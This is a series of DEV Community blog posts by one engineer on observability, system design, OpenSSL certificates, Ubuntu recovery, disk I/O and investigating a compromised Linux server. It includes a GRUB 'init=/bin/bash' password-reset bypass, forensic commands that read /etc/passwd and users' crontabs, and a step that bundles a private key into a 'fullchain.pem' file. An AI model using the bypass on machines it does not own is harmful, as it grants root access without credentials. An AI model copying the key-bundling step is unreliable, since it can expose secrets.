DEV Community: Afringan

Observability Is Not Monitoring — It’s Product Thinking

Afringan — Mon, 16 Feb 2026 06:56:58 +0000

Most teams believe they understand their systems —
until something unexpected happens.

A spike in latency.
A sudden drop in conversions.
An error that wasn’t supposed to exist.

Dashboards light up. Alerts fire.
Something is clearly wrong.

But knowing that something is wrong
is not the same as understanding why.

Observability is often reduced to charts and alerts.
In reality, it’s something much deeper.

It’s the ability to see how your assumptions behave in production.

And that makes it a product concern — not just an operational one.

1. Monitoring Tells You Something Is Wrong

Monitoring is about thresholds.

CPU above 80%.
Error rate above 2%.
Latency above 300ms.

It answers one question well:

“Is the system healthy?”

When the answer is “no,” alerts trigger.
Teams react.
Incidents begin.

Monitoring is necessary.
But it is reactive by nature.

It tells you that the system deviated from expectations.
It does not explain what expectation was violated — or why it existed in the first place.

A dashboard can show you a spike.
It cannot tell you what design decision made that spike inevitable.

Monitoring detects symptoms.
Observability investigates causes.

2. Observability Reveals Your Assumptions

Every system is built on assumptions.

We assume users will behave in certain ways.
We assume traffic patterns will be predictable.
We assume failures will be rare — or isolated.

Most of the time, these assumptions are invisible.
They live in design decisions, API contracts, timeouts, retry logic, UI flows.

Until production challenges them.

When a system behaves unexpectedly,
it’s rarely “random.”

It’s usually an assumption colliding with reality.

Monitoring can tell you that latency increased.
Observability allows you to ask:

Which user segment?
Which code path?
Which dependency?
Which input pattern?

It shifts the conversation from
“Why is the system broken?”
to
“What did we believe that turned out to be false?”

And that question is not operational.
It’s architectural.

Because when assumptions fail,
design decisions must evolve

3. Logs, Metrics, and Traces Are Not the Point

When people talk about observability,
they often list tools and signals:

Logs.
Metrics.
Traces.

But those are just instruments.

Owning a thermometer does not mean you understand health.
Having dashboards does not mean you understand your system.

Logs tell stories — but only if you know what story you’re looking for.
Metrics show patterns — but only if the pattern matters.
Traces reveal paths — but only if the path reflects real user behavior.

The real question isn’t:

“Do we collect enough data?”

It’s:

“Do we know what questions we need to ask?”

Observability is not about volume.
It’s about context.

It’s about designing systems in a way that makes behavior explainable.

If a feature fails,
can you connect it to user intent?
If performance drops,
can you link it to a specific interaction pattern?

Data without intention becomes noise.
Signals without product thinking become decoration.

Observability begins long before logs are written.
It begins when you decide what should be understandable.

4. If You Can’t See It, You Can’t Design It

Design is not just about how something works in theory.
It’s about how it behaves under real conditions.

Real users don’t follow ideal flows.
They click in unexpected places.
They abandon steps.
They retry.
They hesitate.

Without visibility into real behavior,
design decisions become guesses.

And guesses feel correct —
until they reach production.

When you can’t see how a feature is used,
you can’t improve it.

When you can’t trace where friction occurs,
you can’t remove it.

When you can’t measure impact,
you can’t prioritize intelligently.

Observability creates a feedback loop between intention and reality.

It allows teams to see:

Where assumptions break

Where complexity accumulates

Where performance silently degrades

Where user experience diverges from design

Without that loop, iteration becomes opinion-driven.

With it, iteration becomes evidence-driven.

And evidence is what turns software engineering
into product engineering.

5. Systems That Are Observable Evolve Faster

Systems don’t improve because teams work harder.

They improve because teams see clearly.

When behavior is visible,
decisions become grounded.
When impact is measurable,
priorities become sharper.
When assumptions are exposed,
design becomes intentional.

Observable systems reduce hesitation.

Instead of arguing about what might be happening,
teams can look.

Instead of guessing where friction lives,
they can trace it.

Instead of reacting blindly to incidents,
they can understand them.

Speed in product development doesn’t come from writing more code.
It comes from shortening the distance
between decision and feedback.

Observability closes that distance.

It turns production into a learning environment.
It transforms failure into insight.
It converts uncertainty into iteration.

Monitoring keeps systems running.

Observability helps them grow.

And growth — when it comes —
belongs to systems that can see themselves clearly.

Designing Systems That Can Change (Before They Scale)

Afringan — Thu, 05 Feb 2026 13:38:41 +0000

Intro

A lot of system design conversations start with scale.
Traffic numbers. Users. Load. Growth.

Most systems will never reach that point.

What they will face — sooner or later — is change.

Features evolve.
Assumptions break.
Business priorities shift.

Designing for scale too early often creates rigidity.

Designing for change creates options.

This article is about building systems that can adapt before they grow — because adaptability is what keeps products alive long enough to matter.

1. Change Is Inevitable, Scale Is Not

Every product changes.

Even successful ones.
Especially successful ones.

User behavior rarely matches early assumptions.
What looks essential today often becomes irrelevant tomorrow.

Yet many systems are designed around a future that may never arrive.
Premature scalability, complex abstractions, and rigid structures are often justified by growth that exists only in planning documents.

Change, on the other hand, is guaranteed.

Requirements will shift.
Constraints will surface.
Trade-offs will need to be revisited.

Systems that assume change can absorb it.
Systems that assume certainty tend to resist it — and eventually break.

2. The Cost of Change Is the Real Metric

One of the most painful sources of rigidity isn’t infrastructure.
It’s user experience.

Early on, it’s tempting to design flexible, powerful interfaces inspired by multiple tools.
Pull ideas from here, patterns from there, and try to support everything at once.

What often happens is the opposite of flexibility.

The UX becomes unclear.
Interactions feel heavy.
It’s no longer obvious where users should click, what should open, or which actions matter.

Instead of enabling exploration, the interface starts limiting it.

Without a clear interaction model, even good ideas struggle to find a place.
Every new feature raises questions:
Where does this live?
How does it connect to existing flows?
What breaks if it changes?

In contrast, starting with a simple, opinionated structure changes the equation.

A constrained UX reduces the cost of change.
Decisions become clearer.
New ideas have obvious boundaries to fit into.

Once a stable baseline exists, creativity accelerates.
Not by adding complexity, but by building on top of clarity.

Systems that change easily are rarely the most flexible at the beginning.
They are the ones that start simple enough to evolve.
Clarity always comes before flexibility.

3. Boundaries Matter More Than Components

When systems become hard to change, the problem is rarely individual components.
It’s the lack of clear boundaries between them.

Components can be rewritten.
Technologies can be replaced.
But unclear boundaries make every change ripple across the system.

Without boundaries, responsibilities blur.
A small change in one area suddenly affects unrelated behavior elsewhere.
Refactoring turns into risk management instead of improvement.

Clear boundaries create safety.

They define where ideas belong, where changes stop, and where assumptions live.
They turn uncertainty into contained impact.

In well-bounded systems, creativity doesn’t disappear — it becomes focused.
New ideas don’t compete for space; they slot into existing structure.

This is true for architecture, and just as true for user experience.
When interaction boundaries are clear, both systems and users know what to expect.

Boundaries aren’t constraints that limit growth.
They are frameworks that make growth possible.

4. Delay Decisions You Can’t Undo

Not all decisions are equal.

Some choices are easy to reverse.
Others quietly lock the system into a path that’s hard to escape.

The most dangerous mistakes often come from decisions made too early —
before constraints are clear, before usage is understood, before the product earns certainty.

Good system design isn’t about making fewer decisions.
It’s about delaying the irreversible ones.

Reversible decisions create learning space.
They allow experimentation without commitment, progress without lock-in.

Irreversible decisions demand confidence — and confidence rarely exists at the beginning.

When teams commit too early, change becomes expensive.
When they delay wisely, change stays affordable — and learning stays cheap.

Designing for change means knowing which decisions can wait,
and having the discipline to let them wait.

5. Systems That Change, Survive

Systems don’t fail because they change. They fail because they can’t.

Products that survive aren’t the most scalable or the most flexible on paper.
They’re the ones designed to absorb change without losing direction.

Change exposes assumptions.
It tests boundaries.
It reveals which decisions were premature and which ones were wise.

When systems are built to evolve, adaptation becomes routine instead of crisis.
Teams respond instead of react. Growth becomes a consequence, not a gamble.

In the end, scale is optional.
Change is not.

Designing systems that can change is not about future-proofing everything.
It’s about keeping enough freedom today to make better decisions tomorrow.

Architecture Isn’t Diagrams — It’s Decisions

Afringan — Mon, 02 Feb 2026 11:12:00 +0000

It’s about how I think when turning an idea into a real system.

Most people think system architecture starts with diagrams.
Boxes, arrows, services, clouds.

In reality, architecture starts much earlier — with decisions.
Decisions about what matters, what can break, and what must survive.

As a full-stack product engineer, I don’t design systems to look good on paper.
I design them to survive real users, real failures, and real change.

1. Architecture Starts Before Code

I don’t start with frameworks, databases, or infrastructure.
I start with questions.

Who is this for?
What problem must never fail?
What can be wrong and still be acceptable?

Every system has one or two things that must not break.
Finding those early matters more than choosing the “right” technology.

In early-stage products, speed matters — but blind speed kills flexibility.
Good architecture is not about predicting the future.
It’s about reducing the cost of being wrong.

2. MVP ≠ Minimal Code

Many people misunderstand MVP as “the smallest amount of code possible.”
In reality, an MVP is the smallest system that can teach you something meaningful.

If a system can’t be observed, changed, or recovered,
it’s not an MVP — it’s a prototype with a deadline.

As a product engineer, I think about MVPs in terms of learning velocity, not feature count.
Can it be deployed safely?
Can direction change without rewriting everything?
Can real user behavior be understood?

Minimal code that collapses under its first real user is not fast.
It’s expensive — just delayed.

That’s why early MVPs often include things that seem “non-minimal”:
basic logging, simple monitoring, and clear boundaries between components.

Not to over-engineer —
but to fail with visibility.

3. Choosing Boring Tech on Purpose

Before choosing any technology, I ask a simpler question:
does this system actually solve a real problem?

If there is no real need, no stack can save it.

One of the biggest traps in early-stage products is unnecessary ambition.
Not technical ambition — feature ambition.

Visually impressive elements, complex UI effects, or “nice-to-have” components can feel like progress,
but they often push the system away from its core purpose.

That’s why it’s often safer to begin with simpler building blocks.
They allow teams to observe real behavior, performance limits, and constraints before committing to heavier abstractions.

This is what “boring technology” really means.
Not outdated tools, but delayed complexity.

Boring technology gives systems the time and clarity
to reveal what actually matters.

4. Designing for Change, Not Scale

Many systems are designed for scale long before they need it.
Millions of users, distributed services, complex infrastructure.

Most of them will never reach that point.

What they will face is change.

Requirements change.
User behavior changes.
Business direction changes.

Designing for change means accepting that today’s decisions are temporary.
It means creating boundaries that can move, not structures that pretend to be permanent.

Instead of asking “How will this scale?”
a better question is “How painful will this be to change?”

Clear interfaces, replaceable components, and simple data models matter more early on
than theoretical throughput numbers.

Scaling can be added later.
Rigidity is much harder to remove.

5. Architecture Is a Living Thing

Architecture isn’t something you finish.
It’s something you maintain.

Real systems evolve under pressure — from users, failures, and shifting goals.
Every incident reveals assumptions.
Every workaround exposes a weak boundary.

Good architecture doesn’t try to prevent all problems.
It assumes problems will happen and focuses on reducing the cost of responding to them.

When systems are designed as living things,
change becomes part of the process, not a threat to it.

That’s why architecture isn’t about diagrams.
It’s about decisions — and the willingness to revisit them.

Short Author Bio

I’m a full-stack product engineer focused on designing resilient systems — from early ideas to real-world production.

AI Prevents Organized Human-Led Cyber Attacks

Afringan — Wed, 31 Dec 2025 10:30:31 +0000

How OpenAI-Powered Systems Strengthen Modern Infrastructure Security

When people hear “AI and cyberattacks,” the narrative is often misleading — as if AI itself is attacking systems.

In reality, the opposite is happening.

Modern security infrastructures increasingly rely on OpenAI-powered models to detect, correlate, and prevent organized, human-led cyber attacks before they cause damage.

AI as an Infrastructure Layer — Not a Weapon

OpenAI models are not autonomous attackers.

They function as intelligence layers embedded into existing infrastructure:

SIEM & SOC platforms
Cloud and hybrid environments
Network monitoring systems
DevSecOps pipelines

Their role is to amplify human visibility, not replace human judgment.

Key Infrastructure Advantages of OpenAI

1. Detection Beyond Signatures

Traditional security tools rely on known signatures.

OpenAI-powered systems analyze behavioral patterns, allowing them to:

Detect zero-day-like behavior
Identify abnormal access flows
Spot coordinated lateral movement

This makes them effective against previously unseen attack scenarios.

2. Correlating Distributed Events

Organized attacks are rarely single events.

They are slow, distributed, and multi-stage.

OpenAI models can:

Correlate logs across systems
Connect weak signals into a single attack narrative
Identify intent, not just anomalies

This capability is critical for detecting human-led, organized operations.

3. Reducing Alert Fatigue in SOCs

One of the biggest infrastructure challenges today is alert overload.

By summarizing logs, prioritizing threats, and filtering noise, OpenAI helps teams:

Focus on high-impact incidents
Reduce false positives
Improve response quality

AI here acts as a force multiplier, not an analyst replacement.

4. Faster Incident Response

In real-world environments, speed matters.

AI-assisted analysis enables:

Faster Mean Time to Detect (MTTD)
Faster Mean Time to Respond (MTTR)
Earlier containment before escalation

This directly reduces both operational and financial risk.

From Reactive Defense to Proactive Security

Without AI:

Attacks are often discovered after impact.

With OpenAI-powered analysis:

Attack paths are predicted
Early indicators are flagged
Defensive actions happen sooner

This shifts infrastructure security from reactive to proactive.

Why This Matters

Cyberattacks are not becoming more dangerous because of AI.

They are becoming more complex and organized because humans are coordinating them better.

AI — especially OpenAI-based systems — is one of our strongest allies in matching and exceeding that complexity on the defensive side.

Final Thought

AI does not launch cyberattacks.

It helps infrastructure teams see human-led attacks earlier — and stop them faster.

Farzan Afringan — Infrastructure security & AI-enabled defense.

Website: https://farzan.us

Encryption & SSL Certificates with OpenSSL

Afringan — Tue, 21 Oct 2025 10:47:18 +0000

⚪ In this article, you'll learn the fundamentals of encryption and how SSL certificates work.

We'll go step by step through generating a private key, creating a Certificate Signing Request (CSR),

and producing a self-signed SSL certificate using OpenSSL, one of the most powerful and widely used tools for securing web servers and managing SSL/TLS certificates.

What Is Encryption?

Encryption is the process of converting plain information (plaintext) into unreadable data (ciphertext) using a cryptographic algorithm. It ensures the confidentiality, integrity, and authenticity of data during communication.
For example, when you visit a website that uses HTTPS, your browser and the server exchange encrypted data to prevent eavesdropping

+-----------+
| Plaintext |
+-----------+
|
| Encrypt 🔒
v
+------------+
| Ciphertext |
+------------+
|
| Decrypt 🔑
v
+-----------+
| Plaintext |
+-----------+

What Is SSL/TLS?

SSL (Secure Sockets Layer) and its successor TLS (Transport Layer Security) are cryptographic protocols designed to secure data over the internet.
They rely on digital certificates and asymmetric encryption to create a secure channel between client and server

Introduction to OpenSSL

OpenSSL is an open-source toolkit for implementing SSL/TLS.
It includes:

A command-line tool for certificate generation, signing, and verification.

A C library that provides cryptographic functions
(hashing, RSA, AES, etc.)

You can check if OpenSSL is installed by running:

openssl version

If it’s missing, install it (on Ubuntu/Debian):

sudo apt update sudo apt install openssl

Creating Your Own SSL Certificate

Let’s walk through the steps to create a self-signed SSL certificate using OpenSSL

Step 1️⃣ : Generate a Private Key

🟣 you are generating your private key, one of the most important parts of SSL/TLS encryption.
Let’s break it down

Part	Meaning
`openssl`	Calls the OpenSSL command-line tool.
`genrsa`	Tells OpenSSL to generate an RSA key pair (based on the RSA algorithm).
`-out server.key`	Saves the generated private key to a file named `server.key`.
`2048`	The key length in bits — a longer key means stronger encryption (2048 is standard).

🔑 What Is a Private Key?

A private key is a secret cryptographic key used to:

Decrypt data encrypted with its public key

Prove your server’s identity during SSL/TLS handshakes

Sign digital certificates or messages

It must never be shared or exposed publicly.
If your private key is leaked, attackers can impersonate your website or decrypt sensitive data

This command generates a 2048-bit RSA private key and saves it as server.key

openssl genrsa -out server.key 2048

Step 2️⃣ : Create a Certificate Signing Request (CSR)

🟣 After generating your private key, the next step is to create a Certificate Signing Request (CSR).
This request is like your website’s digital ID card — it contains your domain name and organization details, which will be verified before a certificate is issued

Run the command below:

openssl req -new -key server.key -out server.csr

Part	Meaning
`openssl`	Calls the OpenSSL toolkit.
`req`	Tells OpenSSL to manage certificate requests.
`-new`	Creates a new CSR file.
`-key server.key`	Uses your previously generated private key (`server.key`) to sign the request.
`-out server.csr`	Saves the certificate request as `server.csr`.

📝 What’s Inside a CSR?

⚙️ Example Interactive Prompts

You’ll be asked a few questions like:

Country Name (e.g., US)

State or Province Name (full name)

Locality Name (eg, city)

Organization Name (e.g., example)

Organizational Unit Name (eg, section)

Common Name (domain name, e.g., example.com)

Email Address

Step 3️⃣ : Create a Self-Signed Certificate

🟣 Now that you have a CSR and a private key, it’s time to generate an SSL certificate.
Normally, a Certificate Authority (CA) signs this request, but for testing or internal projects, you can self-sign it using your own private key

Run the command:

openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt

This command signs your CSR with your private key and produces a certificate valid for one year

🧠 What This Command Does:

Part	Meaning
`openssl`	Calls the OpenSSL toolkit.
`x509`	Specifies that we’re working with X.509 certificates (the standard format for SSL/TLS).
`-req`	Reads the CSR file you generated earlier.
`-days 365`	Sets the certificate’s validity to 365 days (1 year).
`-in server.csr`	The CSR file to be signed.
`-signkey server.key`	Uses your private key to sign the certificate.
`-out server.crt`	Saves the resulting certificate as `server.crt`.

🔐 What Is a Self-Signed Certificate?

A self-signed certificate means you act as your own Certificate Authority — you’re both the signer and the owner.
It’s useful for:

Local development and testing (HTTPS on localhost)

Internal servers or private networks

Educational or demo purposes

⚠️ Browsers will show a warning for self-signed certificates because they’re not trusted by public authorities — but they still encrypt your traffic

🧩 Result

After running the command, you’ll have three important files

File	Purpose
`server.key`	Your private key (keep it secret).
`server.csr`	The certificate request you created earlier.
`server.crt`	The final SSL certificate signed with your private key.

These files together allow you to enable HTTPS locally or on a test server using your self-signed certificate.

Step 4️⃣ : Verify the Certificate

🟣 Once your certificate is generated, it’s a good idea to inspect it and confirm that everything looks correct.
OpenSSL lets you view detailed information about your certificate, including its validity, issuer, and public key

Run the command:

openssl x509 -in server.crt -text -noout

🧠 What This Command Does

Part	Meaning
`openssl`	Calls the OpenSSL tool.
`x509`	Indicates that we’re working with an X.509 certificate.
`-in server.crt`	Specifies the certificate file you want to inspect.
`-text`	Displays the certificate details in readable text format.
`-noout`	Hides the encoded (base64) version to keep output clean.

This confirms your certificate’s validity period, subject, and encryption details

✅ Tip
If you want to check expiration date only:

openssl x509 -enddate -noout -in server.crt

Bonus:

Combining Key and Certificate for Nginx/Apache

For easier deployment:

cat server.crt server.key > fullchain.pem

. Conclusion

In this article, we explored how encryption secures communication, what SSL/TLS does, and how to generate your own certificates using OpenSSL — a must-have skill for every security-focused developer

Article by Farzan Afringan 🎖️ — IT Engineer & Programmer passionate about web security, encryption, and open-source tools.

🔗 Further Reading

If you found this guide helpful, drop a comment below or share your OpenSSL experience!

#How to Rescue a Broken Ubuntu System

Afringan — Tue, 23 Sep 2025 00:03:51 +0000

When your Ubuntu system fails to boot or gets stuck on a black screen, it can feel like a free fall from a tower. Panic sets in — but don’t worry. Ubuntu almost always has a way back if you know the right steps. This guide provides practical solutions to common boot failures and a ready-made Ubuntu Survival Kit to prepare for the future.

Common Disaster Scenarios

1. Broken fstab

A misconfigured /etc/fstab file can prevent the system from booting, dropping you into emergency mode.

Symptoms:

System hangs during boot.
Error messages referencing fstab.

2. NVIDIA Driver / Graphics Issues

NVIDIA drivers are a common cause of black screens or failing to reach the desktop environment.

Symptoms:

Black screen after GRUB.
Only TTY (Ctrl+Alt+F3) login works.

3. Forgotten Password

If you forget your login password, Ubuntu will not let you in — but you can reset it from GRUB.

Symptoms:

4. Disk or SSD Errors

Hardware issues can mimic software problems. Checking drive health ensures the problem isn’t physical.

Symptoms:

Random freezes or crashes.
Slow boot or I/O errors.

Before You Start: Boot Options

If your Ubuntu doesn’t reach the desktop, you have two main ways to gain access:

Try TTY Console: Press Ctrl + Alt + F3 to switch into a text login. From there you can run commands and start fixing issues.
Use a Live USB (Recommended if TTY fails): Boot from a USB stick with Ubuntu and choose “Try Ubuntu without installing”. This provides a safe desktop environment to access your files, edit configs (like /etc/fstab), or reinstall GPU drivers from outside the broken system.

💡 Think of a Live USB as handing your Ubuntu a fresh pair of eyes — it can “see” and fix things when your installed system is blind.

Step-by-Step Fixes

Fixing fstab Safely

Boot into recovery or emergency mode.
Switch to a shell (Ctrl+Alt+F3).
Edit the fstab file:

   sudo nano /etc/fstab

Comment out suspicious lines (add # at the beginning).
Always test changes before reboot:

   sudo mount -a

If no errors appear, reboot safely.

Recovering from Black Screen (NVIDIA)

Switch to TTY: Ctrl+Alt+F3.
Restart the display manager:

   sudo systemctl restart gdm

If it fails, remove NVIDIA drivers:

   sudo apt purge nvidia* -y
   sudo reboot

Reinstall recommended drivers:

   sudo ubuntu-drivers autoinstall
   sudo reboot

Resetting Forgotten Password

At GRUB, press e to edit the boot entry.
Find the line starting with linux and append:

   rw init=/bin/bash

Press Ctrl+X or F10 to boot.
Remount root as read-write:

   mount -o remount,rw /

Reset your password:

   passwd your_username

Reboot:

   reboot -f

Checking SSD/HDD Health

Install smartmontools:

sudo apt update && sudo apt install smartmontools -y

Run health check:

sudo smartctl -a /dev/nvme0n1

Look for:

Critical Warning: 0
Media and Data Integrity Errors: 0

If errors appear, back up immediately.

The Ubuntu Survival Kit

To prevent panic in the future, prepare a small set of tools and notes.

Cheat Sheet & Commands

Command	Purpose	Notes
`sudo mount -a`	Test fstab before reboot	Prevents boot failure
`sudo systemctl restart gdm`	Restart display manager	Fixes black screen
`sudo apt purge nvidia* -y`	Remove NVIDIA drivers	Use before reinstall
`sudo ubuntu-drivers autoinstall`	Install recommended GPU drivers	Requires internet
`passwd your_username`	Reset forgotten password	Run after remount in GRUB recovery
`sudo smartctl -a /dev/nvme0n1`	Check SSD health	Look for warnings/errors

Scripts (Optional)

fix-fstab.sh → Comments out broken fstab lines automatically.
fix-graphics.sh → Purges NVIDIA and reinstalls drivers.
backup-now.sh → Rsyncs Documents and Desktop to external drive.

Backup Strategy

Use Timeshift for system snapshots.
Use Clonezilla for full disk cloning.
Keep rsync backups of project folders on external drives.

Conclusion

A broken Ubuntu system doesn’t have to mean disaster. With the right steps, most issues — from fstab misconfigurations to black screens — are solvable. Preparing an Ubuntu Survival Kit ensures that next time, you’ll fix the problem in minutes instead of hours.

👉 Bookmark this guide, and consider building your own survival kit today.

Author: Farzan Afringan

Date: September 2025

Why Linux Kernel is the Beating Heart of Technology

Afringan — Sun, 21 Sep 2025 23:32:30 +0000

Imagine a world where you—not tech giants—control the very core of your computer.

That’s what the Linux kernel offers. It’s not just software; it’s the beating heart of millions of devices, from smartphones and servers to supercomputers and even smart fridges

Unlike closed-source systems, the Linux kernel is fully open. Anyone can look inside, study how it works, and even change it. That means more security—because thousands of developers around the world are constantly checking and improving the code. It also means freedom: you can customize it to fit your needs, whether you want a lightweight system for an old laptop or a high-performance engine for running cloud servers

This transparency builds trust. You don’t need to “believe” in a company’s promises—you can see the code yourself. For people who care about privacy, security, and innovation, that’s a game-changer

So why does the Linux kernel matter? Because it gives power back to you. It’s not just an operating system—it’s a movement, proving that the best technology is built when the world works together

🔹 What is the Linux Kernel?

The kernel is the “middle layer” between your hardware and applications. When you open a program, it’s the kernel that decides how much CPU and memory it gets. When you type on your keyboard or connect to Wi-Fi, the kernel makes sure your software talks to your hardware. In short, it’s the invisible engine that keeps everything alive

🔹 A Short History and a Big Idea

Back in 1991, a young Finnish student named Linus Torvalds posted a simple message on the internet:

"I’m doing a free operating system (just a hobby, won’t be big and professional…)"

That “hobby project” became the Linux kernel. What started as one student’s experiment has grown into one of the most powerful and important technologies in the world

The story is not without drama. At first, many doubted it. Some thought an open-source kernel would never compete with giants like Microsoft or proprietary UNIX systems. But the opposite happened—Linux grew stronger because it was open. People all over the world could read the code, improve it, and share it back

🔹 The Power of Community

Today, the Linux kernel is developed by thousands of contributors from companies like Intel, IBM, Google, and countless independent developers. Every change is reviewed, tested, and debated in public. That’s the beauty of open source: no single corporation owns Linux—it belongs to everyone.

This open collaboration is why the Linux kernel powers:

100% of the world’s top supercomputers
Most of the internet’s servers
Billions of Android phones
And even systems in space 🚀

🔹 First Hands-On Tests

Want to see the kernel in action? Open a terminal and try:

uname -r → shows your kernel version

dmesg | head → displays the kernel’s boot messages

lsmod → lists active kernel modules (like drivers for your devices)

With just a few commands, you can peek under the hood and realize that the kernel isn’t abstract—it’s right there, working for you

🔹 Why Open Source Matters

Unlike closed systems, the Linux kernel is fully open. That means more security, more customization, and more trust. Thousands of eyes constantly review the code, ensuring transparency that no corporation can match

🔹 A Global Movement

The Linux kernel is more than technology. It’s a movement. A reminder that the best tools are built in the open, by people everywhere, working together.

It’s not just an operating system—it’s freedom, transparency, and power in your hands.

#🧠Investigating High Disk I/O in Linux - Using iostat, iotop, and Visual Analysis

Afringan — Tue, 15 Jul 2025 18:28:44 +0000

Introduction: What is Disk I/O and Why Monitor It

In Linux systems, disk performance is crucial for overall system responsiveness. A common reason behind system sluggishness is high disk I/O usage. This happens when the disk cannot keep up with the number of read/write operations being requested. It could be due to hardware limitations, application overload, or inefficient background processes.

To investigate these issues, Linux provides several tools. One of the most fundamental and useful is the iostat command.

Understanding the `iostat` Command Output

The iostat tool reports CPU and device utilization statistics. When analyzing disk performance, the following columns are particularly important:

1. %util – Device Utilization

This column shows how much time the disk spends servicing I/O requests.

If %util is close to 100%, the disk is almost always busy, and it may indicate a performance bottleneck.

Rule of Thumb:

Below 30%: Normal
50%–70%: High usage
Above 90%: Bottleneck likely

Example:

Device: sda   %util: 92.65

This means the disk is busy 92.65% of the time — a strong indicator of saturation.

2. await – Average Wait Time (in milliseconds)

This represents how long I/O requests wait before being serviced. It includes both the time spent waiting in the queue and the time spent servicing the request.

Expected Values:

SSD: usually < 10 ms
HDD: usually < 20 ms

Device: sda   await: 10.20 ms

This is acceptable for an SSD but could be slow for an HDD if it increases under load.

r/s and w/s – Read/Write Requests Per Second

These indicate how many read r/s and write w/s operations are being issued per second. They help identify the nature of the disk workload.

Example:

Device: sda   r/s: 1.55   w/s: 44.48

Heavy write activity is observed here, which may point to log writing or database operations.

Key Takeaways:

High %util: Disk is heavily loaded — investigate what's using it.
High await: Disk is slow in responding — check for overloaded processes or hardware limitations.
Disproportionate r/s or w/s: Use tools like iotop or dstat to find the culprit processes.

In the next section, we will use iotop to pinpoint which processes are generating the most I/O and how to mitigate the impact.

pic

🔍 Step 2: Identify I/O-Heavy Processes with `iotop`

While iostat gives us a system-wide view of disk performance, it doesn't tell us which process is causing high I/O. That’s where iotop comes in — it’s like top, but for disk usage.

🔧 Installing `iotop`

If it's not already installed, you can get it with:

sudo apt install iotop

Note: You need root privileges to run iotop.

🚀 Basic Usage

Run it with:

sudo iotop

You’ll see a real-time list of processes with columns like:

Column	Meaning
`PID`	Process ID
`USER`	Owner of the process
`DISK READ`	Current read rate (e.g. KB/s or MB/s)
`DISK WRITE`	Current write rate
`SWAPIN`	% of process swapped in
`IO`	% of time the process spent waiting on I/O
`COMMAND`	The actual command or process name

🎯 What to Look For

Look for processes with high IO percentage. This shows they are waiting on the disk.
If a background process like tracker3 or snapd is constantly at the top, consider stopping or disabling it.

⚙️ High DISK WRITE or DISK READ values can signal data-intensive operations like:

Browser caching
Backup utilities
Database indexing

✂️ Reducing the Impact

Here are some tips:

-Use nice or ionice to lower the priority of I/O-heavy processes:

sudo ionice -c3 -p <PID>

This sets the process to "idle" I/O priority.

Kill or stop non-critical high-I/O processes:

sudo kill <PID>

Consider excluding aggressive indexers like tracker3 if not needed:

gsettings set org.freedesktop.Tracker3.Miner.Files enable-monitors false

⚖️ Step 3: Visualizing Disk I/O – HDD vs SSD Behavior

Understanding how different types of disks behave under load is crucial when analyzing performance. Solid State Drives (SSDs) and Hard Disk Drives (HDDs) react very differently to high I/O situations.

In this section, we'll use a custom Python script to visualize disk usage, helping us identify slowdowns and saturation in real-time.

📊 Why Compare HDD and SSD Behavior?

HDDs have mechanical parts, so they suffer from seek time and rotational latency.
SSDs use flash memory and offer much faster access times.
However, both can become saturated under load, just in different ways.

🧪 Our Approach

We'll:
Use a Python script with psutil and shutil to show I/O load in real-time

Identify patterns (like heavy writes or frequent reads)

Compare how long operations take on SSD vs HDD

The following visual shows a snapshot of current mount points and their disk usage, captured using a custom monitoring tool.

🗂️ Note:
The reason many partitions appear with 100% usage here is that Snap applications are mounted as separate loop devices. They are read-only images and don't actually consume additional disk space beyond their original size.
You can usually ignore these entries when investigating real disk usage issues.

🗂️ Side Note:

Mounted Snap Partitions and Disk Usage Noise

Sometimes when investigating disk issues, you’ll notice that many mounted snap partitions report 100% usage, like this:

🔍 What Does This Mean?

These are read-only squashfs loop devices created by Snap packages.
It's normal for them to show 100% usage — it doesn't mean your disk is full.
However, having too many of them may:
Clutter monitoring tools (e.g. df, iostat)
Cause confusion during analysis
Introduce additional background I/O if snaps auto-refresh frequently

💡 Tips

You can list these mounts using:

df -h | grep /snap

To reduce clutter, consider using fewer Snap apps or switch to native/Flatpak alternatives if available:

sudo snap remove <unused-package>

✅ Conclusion

High disk I/O can cripple Linux system performance — especially on slower drives. By using tools like iostat, iotop, and Python-based visualizers, you can pinpoint the problem and take action.

Stay aware of hidden culprits like background processes and Snap mounts. With careful observation and tuning, your system can remain fast and responsive.

✍️ Written by Farzan Afringan, Senior Network & Security Engineer | Software Developer | AI-Driven Infrastructure Specialist

🔗 Let's Connect

If you found this article useful or have questions, feel free to reach out or follow me:

🌐 Personal Website: farzan.us
🧠 More posts on Dev.to: @farzandev13

# How to Investigate a Compromised Linux Server

Afringan — Wed, 09 Jul 2025 20:59:59 +0000

🧭 Introduction

When a Linux server is compromised, every second counts. Attackers may have already opened backdoors, created hidden users, or tampered with critical files. Whether you’re a sysadmin, DevOps engineer, or a security enthusiast, knowing how to perform a basic post-breach investigation is essential. In this article, we’ll walk through practical steps to check for suspicious sessions, new users, altered files, and other indicators of compromise — all using simple shell commands.

🧑‍💻 Step 1: Check Active SSH and User Sessions

The first step after a suspected breach is identifying who is currently logged in and from where.

🔸 Check current SSH logins:

who
last -i
w

These commands help detect any suspicious or unexpected sessions — especially those from unusual IP addresses or users you don’t recognize. Look for:

Multiple open sessions
Unknown usernames
IP addresses outside your organization or country

🧑‍🔬 Step 2: Look for Suspicious New Users

After a breach, attackers often create hidden or non-standard user accounts to retain access.

🔸 List all users from /etc/passwd:

cut -d: -f1 /etc/passwd

The following command lists all system usernames by extracting the first field from /etc/passwd.

Look for:

Usernames that don’t follow your system’s naming convention
Recently added accounts
Accounts with login shells like /bin/bash (vs. /sbin/nologin or /usr/sbin/nologin)

You can also sort users by creation time (if your distro tracks /home timestamps):

ls -lt /home

🕵️‍♂️ Step 3: Identify Recently Modified or Suspicious Files

After gaining access, attackers often modify configuration files, upload malware, or leave behind backdoors. Checking for recently changed files can reveal important clues.

🔸 Find recently modified files:

find /etc -type f -mtime -5 2>/dev/null

This command lists all regular files in /etc that were modified in the last 5 days. You can change -5 to any number of days depending on when you suspect the compromise occurred.

You can also check for recently modified files system-wide:

find / -type f -mtime -5 -ls 2>/dev/null

🔸 Look for:

Modifications to SSH config: /etc/ssh/sshd_config
Unexpected cron jobs: /etc/cron*
Backdoors in bash/profile scripts: .bashrc, .bash_profile, /etc/profile, etc.
Files with strange names or locations like /tmp/.xyz, /var/tmp/.abc, or /dev/shm/shell

🔒 Step 4: Check for Unauthorized Scheduled Tasks

🔸 Check system-wide cron jobs:

cat /etc/crontab
ls -l /etc/cron.*

🔸 Check user-specific cron jobs:

for user in $(cut -f1 -d: /etc/passwd); do
  crontab -l -u $user 2>/dev/null
done

🧠 Step 5: Analyze Running Processes for Anomalies

